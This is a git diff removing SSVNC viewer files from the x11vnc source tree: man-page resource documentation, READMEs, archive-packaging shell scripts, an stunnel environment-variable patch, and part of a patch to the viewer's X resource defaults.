-.B passwordDialog
-Whether to use a dialog box to get the password (true) or get it from
-the tty (false). Irrelevant if \fBpasswordFile\fR is set. Default
-false.
-.TP
-.B encodings
-Equivalent of \fB\-encodings\fR option.
-.TP
-.B compressLevel
-Equivalent of \fB\-compresslevel\fR option (TightVNC\-specific).
-.TP
-.B qualityLevel
-Equivalent of \fB\-quality\fR option (TightVNC\-specific).
-.TP
-.B enableJPEG
-Equivalent of \fB\-nojpeg\fR option, when set to false. Default true.
-.TP
-.B useRemoteCursor
-Equivalent of \fB\-nocursorshape\fR option, when set to false
-(TightVNC\-specific). Default true.
-.TP
-.B useBGR233
-Equivalent of \fB\-bgr233\fR option. Default false.
-.TP
-.B nColours
-When using BGR233, try to allocate this many "exact" colors from the
-BGR233 color cube. When using a shared colormap, setting this resource
-lower leaves more colors for other X clients. Irrelevant when using
-truecolor. Default is 256 (i.e. all of them).
-.TP
-.B useSharedColours
-If the number of "exact" BGR233 colors successfully allocated is less
-than 256 then the rest are filled in using the "nearest" colors
-available. This resource says whether to only use the "exact" BGR233
-colors for this purpose, or whether to use other clients' "shared"
-colors as well. Default true (i.e. use other clients' colors).
-.TP
-.B forceOwnCmap
-Equivalent of \fB\-owncmap\fR option. Default false.
-.TP
-.B forceTrueColour
-Equivalent of \fB\-truecolour\fR option. Default false.
-.TP
-.B requestedDepth
-Equivalent of \fB\-depth\fR option.
-.TP
-.B useSharedMemory
-Use MIT shared memory extension if on the same machine as the X
-server. Default true.
-.TP
-.B wmDecorationWidth, wmDecorationHeight
-The total width and height taken up by window manager decorations.
-This is used to calculate the maximum size of the VNC viewer window.
-Default is width 4, height 24.
-.TP
-.B bumpScrollTime, bumpScrollPixels
-When in full screen mode and the VNC desktop is bigger than the X
-display, scrolling happens whenever the mouse hits the edge of the
-screen. The maximum speed of scrolling is bumpScrollPixels pixels
-every bumpScrollTime milliseconds. The actual speed of scrolling will
-be slower than this, of course, depending on how fast your machine is.
-Default 20 pixels every 25 milliseconds.
-.TP
-.B popupButtonCount
-The number of buttons in the popup window. See the README file for
-more information on how to customize the buttons.
-.TP
-.B debug
-For debugging. Default false.
-.TP
-.B rawDelay, copyRectDelay
-For debugging, see the README file for details. Default 0 (off).
-.SH ENVIRONMENT
-When started with the \fB\-via\fR option, vncviewer reads the
-\fBVNC_VIA_CMD\fR environment variable, expands patterns beginning
-with the "%" character, and executes result as a command assuming that
-it would create TCP tunnel that should be used for VNC connection. If
-not set, this environment variable defaults to "/usr/bin/ssh -f -L
-%L:%H:%R %G sleep 20".
-
-The following patterns are recognized in the \fBVNC_VIA_CMD\fR (note
-that all the patterns %G, %H, %L and %R must be present in the command
-template):
-.TP
-.B %%
-A literal "%";
-.TP
-.B %G
-gateway host name;
-.TP
-.B %H
-remote VNC host name, as known to the gateway;
-.TP
-.B %L
-local TCP port number;
-.TP
-.B %R
-remote TCP port number.
-.SH SEE ALSO
-\fBvncserver\fR(1), \fBx11vnc\fR(1), \fBssvnc\fR(1), \fBXvnc\fR(1), \fBvncpasswd\fR(1),
-\fBvncconnect\fR(1), \fBssh\fR(1), http://www.karlrunge.com/x11vnc, http://www.karlrunge.com/x11vnc/ssvnc.html
-.SH AUTHORS
-Original VNC was developed in AT&T Laboratories Cambridge. TightVNC
-additions was implemented by Constantin Kaplinsky. Many other people
-participated in development, testing and support. Karl J. Runge
-added all of the SSVNC related features and improvements.
-
-\fBMan page authors:\fR
-.br
-Marcus Brinkmann <Marcus.Brinkmann@ruhr-uni-bochum.de>,
-.br
-Terran Melconian <terran@consistent.org>,
-.br
-Tim Waugh <twaugh@redhat.com>,
-.br
-Constantin Kaplinsky <const@ce.cctpu.edu.ru>
-.br
-Karl J. Runge <runge@karlrunge.com>
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/src/README b/x11vnc/misc/enhanced_tightvnc_viewer/src/README
deleted file mode 100644
index 6630db9..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/src/README
+++ /dev/null
@@ -1,7 +0,0 @@
-
-In this directory we have source zip/tgz files in zip/, the patches
-we created in patches/, a temporary build dir (used by build.unix)
-in tmp/, and unpacked sources in vnc_unixsrc/ and stunnel-4.14/ (used
-by the build.unix script).
-
-See the README in the directory one level up for more information.
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/src/patches/README b/x11vnc/misc/enhanced_tightvnc_viewer/src/patches/README
deleted file mode 100644
index 9451e7e..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/src/patches/README
+++ /dev/null
@@ -1,6 +0,0 @@
-All of the patch files and scripts in this directory are
-
- Copyright (c) 2006 by Karl J. Runge <runge@karlrunge.com>
-
-and are licensed by the GPL. See the README and COPYING files two
-directories up for more information.
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle b/x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle
deleted file mode 100755
index 60fc7c3..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle
+++ /dev/null
@@ -1,103 +0,0 @@
-#!/bin/sh
-
-rm -rf ./src/tmp/* || exit 1
-vers=1.0.28
-
-cd .. || exit 1
-
-cp -p ssvnc/bin/ssvnc_cmd ssvnc/bin/tightvncviewer
-
-###########################################
-dest=./t.unix_only
-rm -rf $dest
-mkdir -p $dest || exit 1
-
-tar cvf - ssvnc/{README,COPYING,ssvnc.desktop} ssvnc/bin ssvnc/Unix | (cd $dest; tar xvf -)
-rm -f $dest/ssvnc/bin/.linkin
-
-tar=ssvnc_unix_only-${vers}.tar.gz
-(cd $dest; tar czvf ../$tar ssvnc)
-ls -l $tar
-rm -rf $dest
-
-###########################################
-dest=./t.unix_minimal
-rm -rf $dest
-mkdir -p $dest || exit 1
-
-tar cvf - ssvnc/{README,COPYING,ssvnc.desktop} ssvnc/bin/{ss*,util/ss*} | (cd $dest; tar xvf -)
-
-tar=ssvnc_unix_minimal-${vers}.tar.gz
-(cd $dest; tar czvf ../$tar ssvnc)
-ls -l $tar
-rm -rf $dest
-
-top='#!/bin/sh
-n=11
-tmp=`mktemp -d "/tmp/ssvnc.XXXXXX"` || exit 1
-if [ "X$tmp" = "X" -o ! -d "$tmp" ]; then exit 1; fi
-trap "cd /tmp; rm -rf $tmp" 0 2 15
-
-tail +$n "$0" | (cd $tmp; tar xf -) || exit 1
-$tmp/bin/ssvnc "$@"
-exit 0
-data__() {'
-
-scr=./ssvnc.sh
-echo "$top" > $scr
-(cd ssvnc; tar cvf - README COPYING ssvnc.desktop bin/{ss*,util/ss*}) >> $scr
-chmod 755 $scr
-ls -l $scr
-
-if [ "X$1" = "Xquick" ]; then
- exit 0
-fi
-
-###########################################
-rm -f ssvnc_all-$vers.zip
-rm -f ssvnc-$vers.zip
-zip -9 -r ssvnc_all-$vers.zip ssvnc
-zip -9 -r ssvnc-$vers.zip ssvnc -x '*.zip' '*.tar.gz'
-tar cvf - --exclude='*.zip' --exclude='*.tar.gz' ssvnc | gzip -9 > ssvnc-$vers.tar.gz
-tar cvf - --exclude='*.zip' --exclude='*.tar.gz' --exclude='*.dll' --exclude='*.exe' --exclude ssvnc/Windows/util ssvnc | gzip -9 > ssvnc_no_windows-$vers.tar.gz
-
-echo
-ls -l ssvnc*-$vers.*
-echo
-
-
-###########################################
-dest=./t.windows_only
-rm -rf ${dest}
-mkdir -p $dest || exit 1
-
-cp -pR ssvnc $dest
-rm -rf $dest/ssvnc/{src,bin,man}
-rm -rf $dest/ssvnc/MacOSX
-rm -rf $dest/ssvnc/Unix
-rm -f $dest/ssvnc/build.unix
-rm -f $dest/ssvnc/filelist.txt
-cp -p ssvnc/bin/util/ssvnc.tcl $dest/ssvnc/Windows/util
-
-zip=ssvnc_windows_only-${vers}.zip
-rm -f $zip
-(cd $dest; zip -9 -r ../$zip ssvnc)
-
-ls -l $zip
-rm -rf $dest
-
-
-sync
-echo
-for g in ssvnc*-$vers*.gz
-do
- md5sum $g
- gzip -t $g || (tput bel; sleep 2)
-done
-for g in ssvnc*-$vers*.zip
-do
- md5sum $g
-done
-
-sleep 3
-echo
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches b/x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches
deleted file mode 100755
index d12e1d1..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches
+++ /dev/null
@@ -1,14 +0,0 @@
-#!/bin/sh
-
-if [ ! -f ./_getpatches ]; then
- ls -l ./_getpatches
- exit 1
-fi
-
-cp -p /dist/src/apps/VNC/tight_vnc_1.3dev5/tight-vncviewer*patch .
-cp -p /dist/src/apps/VNC/tight_vnc_1.3dev5/vnc_unixsrc_vncviewer.patched.tar ../zips/
-
-cp -p /dist/src/apps/VNC/etc/libvncserver_cvs/expts/java_ssl/ultra/ultraftp.tar ../zips/
-cp -p /dist/src/apps/VNC/etc/libvncserver_cvs/expts/vncstorepw.tar ../zips/
-
-cp -p /dist/src/apps/VNC/tight_vnc_1.3dev5/vnc_unixsrc/vncviewer/vncviewer.man ../../man/man1/ssvncviewer.1
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_vncpatchapplied b/x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_vncpatchapplied
deleted file mode 100755
index 0ff1931..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_vncpatchapplied
+++ /dev/null
@@ -1,6 +0,0 @@
-#!/bin/sh
-
-make clean
-rm -f *.o
-cd ../..
-tar -cvf ../../zips/vnc_unixsrc_vncviewer.patched.tar vnc_unixsrc/vncviewer
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/src/patches/stunnel-maxconn.patch b/x11vnc/misc/enhanced_tightvnc_viewer/src/patches/stunnel-maxconn.patch
deleted file mode 100644
index 42657d8..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/src/patches/stunnel-maxconn.patch
+++ /dev/null
@@ -1,44 +0,0 @@
-diff -Naur stunnel.orig/src/client.c stunnel/src/client.c
---- stunnel.orig/src/client.c 2010-04-04 17:00:29.000000000 -0400
-+++ stunnel/src/client.c 2010-04-12 17:12:47.000000000 -0400
-@@ -187,6 +187,7 @@
- enter_critical_section(CRIT_CLIENTS); /* for multi-cpu machines */
- s_log(LOG_DEBUG, "Service %s finished (%d left)", c->opt->servname,
- --num_clients);
-+ if (getenv("STUNNEL_ONCE")) {fprintf(stderr, "stunnel: exiting.\n"); exit(0);}
- leave_critical_section(CRIT_CLIENTS);
- #endif
- }
-diff -Naur stunnel.orig/src/network.c stunnel/src/network.c
---- stunnel.orig/src/network.c 2010-02-04 05:31:45.000000000 -0500
-+++ stunnel/src/network.c 2010-04-12 17:13:53.000000000 -0400
-@@ -437,6 +437,7 @@
- if((pid=wait(&status))>0) {
- --num_clients; /* one client less */
- #endif
-+ if (getenv("STUNNEL_ONCE")) exit(0);
- #ifdef WIFSIGNALED
- if(WIFSIGNALED(status)) {
- s_log(LOG_DEBUG, "Process %d terminated on signal %d (%d left)",
-diff -Naur stunnel.orig/src/options.c stunnel/src/options.c
---- stunnel.orig/src/options.c 2010-04-05 14:44:43.000000000 -0400
-+++ stunnel/src/options.c 2010-04-12 17:19:18.000000000 -0400
-@@ -470,6 +470,7 @@
- switch(cmd) {
- case CMD_INIT:
- new_global_options.option.syslog=1;
-+ if (getenv("STUNNEL_NO_SYSLOG")) new_global_options.option.syslog=0;
- break;
- case CMD_EXEC:
- if(strcasecmp(opt, "syslog"))
-diff -Naur stunnel.orig/src/stunnel.c stunnel/src/stunnel.c
---- stunnel.orig/src/stunnel.c 2010-02-25 04:57:11.000000000 -0500
-+++ stunnel/src/stunnel.c 2010-04-12 17:16:33.000000000 -0400
-@@ -306,6 +306,7 @@
- max_clients=0;
- s_log(LOG_NOTICE, "No limit detected for the number of clients");
- }
-+ if (getenv("STUNNEL_MAX_CLIENTS")) max_clients = atoi(getenv("STUNNEL_MAX_CLIENTS"));
- }
-
- #ifdef HAVE_CHROOT
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-full.patch b/x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-full.patch
deleted file mode 100644
index e37dd31..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-full.patch
+++ /dev/null
@@ -1,24370 +0,0 @@
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/Vncviewer vnc_unixsrc/vncviewer/Vncviewer
---- vnc_unixsrc.orig/vncviewer/Vncviewer 2003-02-07 05:30:57.000000000 -0500
-+++ vnc_unixsrc/vncviewer/Vncviewer 2008-08-24 16:26:01.000000000 -0400
-@@ -1,20 +1,22 @@
- !
--! Application defaults file for vncviewer.
-+! Application defaults file for SSVNC vncviewer.
-+!
-+! N.B.: You will need to rename this file to be "Ssvnc" instead of "Vncviewer"
- !
-
-
- !
- ! The title of the main window. "%s" will be replaced by the desktop name.
--!
-+!
-
--Vncviewer.title: TightVNC: %s
-+Ssvnc.title: SSVNC: %s Press F8 for Menu
-
-
- !
- ! Translations on the main window.
- !
-
--Vncviewer.translations:\
-+Ssvnc.translations:\
- <Enter>: SelectionToVNC()\n\
- <Leave>: SelectionFromVNC()
-
-@@ -23,7 +25,7 @@
- ! Uncomment to grab the keyboard in full-screen mode.
- !
-
--! Vncviewer.grabKeyboard: True
-+! Ssvnc.grabKeyboard: True
-
-
- !
-@@ -43,6 +45,9 @@
- *viewport.useRight: True
- *viewport*Scrollbar*thumb: None
-
-+*viewport.horizontal.height: 6
-+*viewport.vertical.width: 6
-+
-
- !
- ! Default translations on desktop window.
-@@ -50,89 +55,591 @@
-
- *desktop.baseTranslations:\
- <Key>F8: ShowPopup()\n\
-+ <Key>F9: ToggleFullScreen()\n\
- <ButtonPress>: SendRFBEvent()\n\
- <ButtonRelease>: SendRFBEvent()\n\
- <Motion>: SendRFBEvent()\n\
- <KeyPress>: SendRFBEvent()\n\
- <KeyRelease>: SendRFBEvent()
-
-+*viewport.horizontal.translations: #override\n\
-+ <KeyPress>Right: StartScroll(Forward)\n\
-+ <KeyRelease>Right: NotifyScroll(FullLength) EndScroll()\n\
-+ <KeyPress>Left: StartScroll(Backward)\n\
-+ <KeyRelease>Left: NotifyScroll(FullLength) EndScroll()\n\
-+ <KeyPress>Next: StartScroll(Forward)\n\
-+ <KeyRelease>Next: NotifyScroll(FullLength) EndScroll()\n\
-+ <KeyPress>Prior: StartScroll(Backward)\n\
-+ <KeyRelease>Prior: NotifyScroll(FullLength) EndScroll()\n\
-+ <KeyPress>z: StartScroll(Forward)\n\
-+ <KeyRelease>z: NotifyScroll(FullLength) EndScroll()\n\
-+ <KeyPress>a: StartScroll(Backward)\n\
-+ <KeyRelease>a: NotifyScroll(FullLength) EndScroll()\n\
-+ <KeyPress>f: StartScroll(Forward)\n\
-+ <KeyRelease>f: NotifyScroll(FullLength) EndScroll()\n\
-+ <KeyPress>b: StartScroll(Backward)\n\
-+ <KeyRelease>b: NotifyScroll(FullLength) EndScroll()\n\
-+ <KeyPress>Down: StartScroll(Forward)\n\
-+ <KeyRelease>Down: NotifyScroll(FullLength) EndScroll()\n\
-+ <KeyPress>Up: StartScroll(Backward)\n\
-+ <KeyRelease>Up: NotifyScroll(FullLength) EndScroll()
-+
-+*viewport.vertical.translations: #override\n\
-+ <KeyPress>Down: StartScroll(Forward)\n\
-+ <KeyRelease>Down: NotifyScroll(FullLength) EndScroll()\n\
-+ <KeyPress>Up: StartScroll(Backward)\n\
-+ <KeyRelease>Up: NotifyScroll(FullLength) EndScroll()\n\
-+ <KeyPress>Next: StartScroll(Forward)\n\
-+ <KeyRelease>Next: NotifyScroll(FullLength) EndScroll()\n\
-+ <KeyPress>Prior: StartScroll(Backward)\n\
-+ <KeyRelease>Prior: NotifyScroll(FullLength) EndScroll()\n\
-+ <KeyPress>z: StartScroll(Forward)\n\
-+ <KeyRelease>z: NotifyScroll(FullLength) EndScroll()\n\
-+ <KeyPress>a: StartScroll(Backward)\n\
-+ <KeyRelease>a: NotifyScroll(FullLength) EndScroll()\n\
-+ <KeyPress>f: StartScroll(Forward)\n\
-+ <KeyRelease>f: NotifyScroll(FullLength) EndScroll()\n\
-+ <KeyPress>b: StartScroll(Backward)\n\
-+ <KeyRelease>b: NotifyScroll(FullLength) EndScroll()\n\
-+ <KeyPress>Right: StartScroll(Forward)\n\
-+ <KeyRelease>Right: NotifyScroll(FullLength) EndScroll()\n\
-+ <KeyPress>Left: StartScroll(Backward)\n\
-+ <KeyRelease>Left: NotifyScroll(FullLength) EndScroll()
-+
-
- !
- ! Dialog boxes
- !
-
- *serverDialog.dialog.label: VNC server:
-+
- *serverDialog.dialog.value:
-+
- *serverDialog.dialog.value.translations: #override\n\
-- <Key>Return: ServerDialogDone()
-+ <Key>Return: ServerDialogDone()
-+
-+*ycropDialog.dialog.label: Y Crop (max-height in pixels):
-+
-+*ycropDialog.dialog.value:
-+
-+*ycropDialog.dialog.value.translations: #override\n\
-+ <Key>Return: YCropDialogDone()
-+
-+*scbarDialog.dialog.label: Scroll Bars width:
-+
-+*scbarDialog.dialog.value:
-+
-+*scbarDialog.dialog.value.translations: #override\n\
-+ <Key>Return: ScbarDialogDone()
-+
-+*scaleDialog.dialog.label: Integer n for 1/n server scaling:
-+
-+*scaleDialog.dialog.value:
-+
-+*scaleDialog.dialog.value.translations: #override\n\
-+ <Key>Return: ScaleDialogDone()
-
- *passwordDialog.dialog.label: Password:
-+
- *passwordDialog.dialog.value:
-+
- *passwordDialog.dialog.value.AsciiSink.echo: False
-+
- *passwordDialog.dialog.value.translations: #override\n\
-- <Key>Return: PasswordDialogDone()
-+ <Key>Return: PasswordDialogDone()
-
-
- !
- ! Popup window appearance
- !
-
--*popup.title: TightVNC popup
-+*popup.title: SSVNC popup
-+
- *popup*background: grey
--*popup*font: -*-helvetica-bold-r-*-*-16-*-*-*-*-*-*-*
--*popup.buttonForm.Command.borderWidth: 0
--*popup.buttonForm.Toggle.borderWidth: 0
-+
-+*popup*font_old: -*-helvetica-bold-r-*-*-16-*-*-*-*-*-*-*
-+
-+*popup*font: -*-helvetica-medium-r-*-*-12-*-*-*-*-*-*-*
-+
-+*popup.buttonForm*.Command.borderWidth: 0
-+
-+*popup.buttonForm*.Toggle.borderWidth: 0
-+
-+*scaleN.title: 1/n scale
-+
-+*scaleN*background: grey
-+
-+*scaleN*font: -*-helvetica-medium-r-*-*-12-*-*-*-*-*-*-*
-+
-+*scaleN.buttonForm.Command.borderWidth: 0
-+
-+*scaleN.buttonForm.Toggle.borderWidth: 0
-+
-+*quality.title: quality
-+
-+*quality*background: grey
-+
-+*quality*font: -*-helvetica-medium-r-*-*-12-*-*-*-*-*-*-*
-+
-+*quality.buttonForm.Command.borderWidth: 0
-+
-+*quality.buttonForm.Toggle.borderWidth: 0
-+
-+*compress.title: compress
-+
-+*compress*background: grey
-+
-+*compress*font: -*-helvetica-medium-r-*-*-12-*-*-*-*-*-*-*
-+
-+*compress.buttonForm.Command.borderWidth: 0
-+
-+*compress.buttonForm.Toggle.borderWidth: 0
-+
-
- !
- ! Translations on popup window - send key presses through
- !
-
- *popup.translations: #override <Message>WM_PROTOCOLS: HidePopup()
-+
- *popup.buttonForm.translations: #override\n\
-- <KeyPress>: SendRFBEvent() HidePopup()
-+ <KeyPress>: SendRFBEvent() HidePopup()
-
-
- !
- ! Popup buttons
- !
-
--*popupButtonCount: 8
-+*popupButtonCount: 38
-+
-+*popupButtonBreak: 19
-
- *popup*button1.label: Dismiss popup
-+
- *popup*button1.translations: #override\n\
-- <Btn1Down>,<Btn1Up>: HidePopup()
-+ <Btn1Down>,<Btn1Up>: HidePopup()
-
- *popup*button2.label: Quit viewer
-+
- *popup*button2.translations: #override\n\
-- <Btn1Down>,<Btn1Up>: Quit()
-+ <Btn1Down>,<Btn1Up>: Quit()
-+
-+*popup*button3.label: Full screen (also F9)
-
--*popup*button3.label: Full screen
- *popup*button3.type: toggle
-+
- *popup*button3.translations: #override\n\
-- <Visible>: SetFullScreenState()\n\
-- <Btn1Down>,<Btn1Up>: toggle() HidePopup() ToggleFullScreen()
-+ <Visible>: SetFullScreenState()\n\
-+ <Btn1Down>,<Btn1Up>: toggle() ToggleFullScreen() HidePopup()
-
- *popup*button4.label: Clipboard: local -> remote
-+
- *popup*button4.translations: #override\n\
-- <Btn1Down>,<Btn1Up>: SelectionToVNC(always) HidePopup()
-+ <Btn1Down>,<Btn1Up>: SelectionToVNC(always) HidePopup()
-
- *popup*button5.label: Clipboard: local <- remote
-+
- *popup*button5.translations: #override\n\
-- <Btn1Down>,<Btn1Up>: SelectionFromVNC(always) HidePopup()
-+ <Btn1Down>,<Btn1Up>: SelectionFromVNC(always) HidePopup()
-
- *popup*button6.label: Request refresh
-+
- *popup*button6.translations: #override\n\
-- <Btn1Down>,<Btn1Up>: SendRFBEvent(fbupdate) HidePopup()
-+ <Btn1Down>,<Btn1Up>: SendRFBEvent(fbupdate) HidePopup()
-
- *popup*button7.label: Send ctrl-alt-del
-+
- *popup*button7.translations: #override\n\
-- <Btn1Down>,<Btn1Up>: SendRFBEvent(keydown,Control_L)\
-- SendRFBEvent(keydown,Alt_L)\
-- SendRFBEvent(key,Delete)\
-- SendRFBEvent(keyup,Alt_L)\
-- SendRFBEvent(keyup,Control_L)\
-- HidePopup()
-+ <Btn1Down>,<Btn1Up>: SendRFBEvent(keydown,Control_L) SendRFBEvent(keydown,Alt_L) SendRFBEvent(key,Delete) SendRFBEvent(keyup,Alt_L) SendRFBEvent(keyup,Control_L) HidePopup()
-
- *popup*button8.label: Send F8
-+
- *popup*button8.translations: #override\n\
-- <Btn1Down>,<Btn1Up>: SendRFBEvent(key,F8) HidePopup()
-+ <Btn1Down>,<Btn1Up>: SendRFBEvent(key,F8) HidePopup()
-+
-+*popup*button9.label: Send F9
-+
-+*popup*button9.translations: #override\n\
-+ <Btn1Down>,<Btn1Up>: SendRFBEvent(key,F9) HidePopup()
-+
-+*popup*button10.label: ViewOnly
-+
-+*popup*button10.type: toggle
-+
-+*popup*button10.translations: #override\n\
-+ <Visible>: SetViewOnlyState()\n\
-+ <Btn1Down>,<Btn1Up>: toggle() ToggleViewOnly() HidePopup()
-+
-+*popup*button11.label: Disable Bell
-+
-+*popup*button11.type: toggle
-+
-+*popup*button11.translations: #override\n\
-+ <Visible>: SetBellState()\n\
-+ <Btn1Down>,<Btn1Up>: toggle() ToggleBell() HidePopup()
-+
-+*popup*button12.label: Cursor Shape
-+
-+*popup*button12.type: toggle
-+
-+*popup*button12.translations: #override\n\
-+ <Visible>: SetCursorShapeState()\n\
-+ <Btn1Down>,<Btn1Up>: toggle() ToggleCursorShape() HidePopup()
-+
-+*popup*button13.label: X11 Cursor
-+
-+*popup*button13.type: toggle
-+
-+*popup*button13.translations: #override\n\
-+ <Visible>: SetX11CursorState()\n\
-+ <Btn1Down>,<Btn1Up>: toggle() ToggleX11Cursor() HidePopup()
-+
-+*popup*button14.label: Cursor Alphablend
-+
-+*popup*button14.type: toggle
-+
-+*popup*button14.translations: #override\n\
-+ <Visible>: SetCursorAlphaState()\n\
-+ <Btn1Down>,<Btn1Up>: toggle() ToggleCursorAlpha() HidePopup()
-+
-+*popup*button15.label: Toggle Tight/ZRLE
-+
-+*popup*button15.type: toggle
-+
-+*popup*button15.translations: #override\n\
-+ <Visible>: SetZRLEState()\n\
-+ <Btn1Down>,<Btn1Up>: toggle() ToggleTightZRLE() HidePopup()
-+
-+*popup*button16.label: Toggle ZRLE/ZYWRLE
-+
-+*popup*button16.type: toggle
-+
-+*popup*button16.translations: #override\n\
-+ <Visible>: SetZYWRLEState()\n\
-+ <Btn1Down>,<Btn1Up>: toggle() ToggleZRLEZYWRLE() HidePopup()
-+
-+*popup*button17.label: Quality Level
-+
-+*popup*button17.translations: #override\n\
-+ <Btn1Down>,<Btn1Up>: HidePopup() ShowQuality()
-+
-+*popup*button18.label: Compress Level
-+
-+*popup*button18.translations: #override\n\
-+ <Btn1Down>,<Btn1Up>: HidePopup() ShowCompress()
-+
-+*popup*button19.label: Disable JPEG
-+
-+*popup*button19.type: toggle
-+
-+*popup*button19.translations: #override\n\
-+ <Visible>: SetNOJPEGState()\n\
-+ <Btn1Down>,<Btn1Up>: toggle() ToggleJPEG() HidePopup()
-+
-+*popup*button20.label: Full Color
-+
-+*popup*button20.type: toggle
-+
-+*popup*button20.translations: #override\n\
-+ <Visible>: SetFullColorState()\n\
-+ <Btn1Down>,<Btn1Up>: toggle() ToggleFullColor() HidePopup()
-+
-+*popup*button21.label: Grey Scale (16 & 8-bpp)
-+
-+*popup*button21.type: toggle
-+
-+*popup*button21.translations: #override\n\
-+ <Visible>: SetGreyScaleState()\n\
-+ <Btn1Down>,<Btn1Up>: toggle() ToggleGreyScale() HidePopup()
-+
-+*popup*button22.label: 16 bit color (BGR565)
-+
-+*popup*button22.type: toggle
-+
-+*popup*button22.translations: #override\n\
-+ <Visible>: Set16bppState()\n\
-+ <Btn1Down>,<Btn1Up>: toggle() Toggle16bpp() HidePopup()
-+
-+*popup*button23.label: 8 bit color (BGR233)
-+
-+*popup*button23.type: toggle
-+
-+*popup*button23.translations: #override\n\
-+ <Visible>: Set8bppState()\n\
-+ <Btn1Down>,<Btn1Up>: toggle() Toggle8bpp() HidePopup()
-+
-+*popup*button24.label: - 256 colors
-+
-+*popup*button24.type: toggle
-+
-+*popup*button24.translations: #override\n\
-+ <Visible>: Set256ColorsState()\n\
-+ <Btn1Down>,<Btn1Up>: toggle() Toggle256Colors() HidePopup()
-+
-+*popup*button25.label: - 64 colors
-+
-+*popup*button25.type: toggle
-+
-+*popup*button25.translations: #override\n\
-+ <Visible>: Set64ColorsState()\n\
-+ <Btn1Down>,<Btn1Up>: toggle() Toggle64Colors() HidePopup()
-+
-+*popup*button26.label: - 8 colors
-+
-+*popup*button26.type: toggle
-+
-+*popup*button26.translations: #override\n\
-+ <Visible>: Set8ColorsState()\n\
-+ <Btn1Down>,<Btn1Up>: toggle() Toggle8Colors() HidePopup()
-+
-+*popup*button27.label: Set Y Crop (y-max)
-+
-+*popup*button27.translations: #override\n\
-+ <Btn1Down>,<Btn1Up>: HidePopup() SetYCrop()
-+
-+*popup*button28.label: Set Scrollbar Width
-+
-+*popup*button28.translations: #override\n\
-+ <Btn1Down>,<Btn1Up>: HidePopup() SetScbar()
-+
-+*popup*button29.label: UltraVNC Extensions:
-+
-+*popup*button29.translations: #override\n\
-+ <Btn1Down>,<Btn1Up>: HidePopup()
-+
-+*popup*button30.label: - Set 1/n Server Scale
-+
-+*popup*button30.translations: #override\n\
-+ <Btn1Down>,<Btn1Up>: HidePopup() ShowScaleN()
-+
-+*popup*button31.label: - Text Chat
-+
-+*popup*button31.type: toggle
-+
-+*popup*button31.translations: #override\n\
-+ <Visible>: SetTextChatState()\n\
-+ <Btn1Down>,<Btn1Up>: toggle() ToggleTextChat() HidePopup()
-+
-+*popup*button32.label: - File Transfer
-+
-+*popup*button32.type: toggle
-+
-+*popup*button32.translations: #override\n\
-+ <Visible>: SetFileXferState()\n\
-+ <Btn1Down>,<Btn1Up>: toggle() ToggleFileXfer() HidePopup()
-+
-+*popup*button33.label: - Single Window
-+
-+*popup*button33.type: toggle
-+
-+*popup*button33.translations: #override\n\
-+ <Visible>: SetSingleWindowState()\n\
-+ <Btn1Down>,<Btn1Up>: toggle() ToggleSingleWindow() HidePopup()
-+
-+*popup*button34.label: - Disable Remote Input
-+
-+*popup*button34.type: toggle
-+
-+*popup*button34.translations: #override\n\
-+ <Visible>: SetServerInputState()\n\
-+ <Btn1Down>,<Btn1Up>: toggle() ToggleServerInput() HidePopup()
-+
-+*popup*button35.label:
-+
-+*popup*button36.label:
-+
-+*popup*button37.label:
-+
-+*popup*button38.label:
-+
-+*scaleN*button0.label: Dismiss
-+
-+*scaleN*button0.translations: #override\n\
-+ <Btn1Down>,<Btn1Up>: HideScaleN()
-+
-+*scaleN*button1.label: 1/1
-+
-+*scaleN*button1.translations: #override\n\
-+ <Visible>: SetScaleNState(1)\n\
-+ <Btn1Down>,<Btn1Up>: SetScaleN(1) HideScaleN()
-+
-+*scaleN*button2.label: 1/2
-+
-+*scaleN*button2.translations: #override\n\
-+ <Visible>: SetScaleNState(2)\n\
-+ <Btn1Down>,<Btn1Up>: SetScaleN(2) HideScaleN()
-+
-+*scaleN*button3.label: 1/3
-+
-+*scaleN*button3.translations: #override\n\
-+ <Visible>: SetScaleNState(3)\n\
-+ <Btn1Down>,<Btn1Up>: SetScaleN(3) HideScaleN()
-+
-+*scaleN*button4.label: 1/4
-+
-+*scaleN*button4.translations: #override\n\
-+ <Visible>: SetScaleNState(4)\n\
-+ <Btn1Down>,<Btn1Up>: SetScaleN(4) HideScaleN()
-+
-+*scaleN*button5.label: 1/5
-+
-+*scaleN*button5.translations: #override\n\
-+ <Visible>: SetScaleNState(5)\n\
-+ <Btn1Down>,<Btn1Up>: SetScaleN(5) HideScaleN()
-+
-+*scaleN*button6.label: Other
-+
-+*scaleN*button6.translations: #override\n\
-+ <Visible>: SetScaleNState(6)\n\
-+ <Btn1Down>,<Btn1Up>: HideScaleN() DoServerScale()
-+
-+*quality*buttonD.label: Dismiss
-+
-+*quality*buttonD.translations: #override\n\
-+ <Btn1Down>,<Btn1Up>: HideQuality()
-+
-+*quality*button0.label: 0
-+
-+*quality*button0.type: toggle
-+
-+*quality*button0.translations: #override\n\
-+ <Visible>: SetQualityState(0)\n\
-+ <Btn1Down>,<Btn1Up>: SetQuality(0) HideQuality()
-+
-+*quality*button1.label: 1
-+
-+*quality*button1.type: toggle
-+
-+*quality*button1.translations: #override\n\
-+ <Visible>: SetQualityState(1)\n\
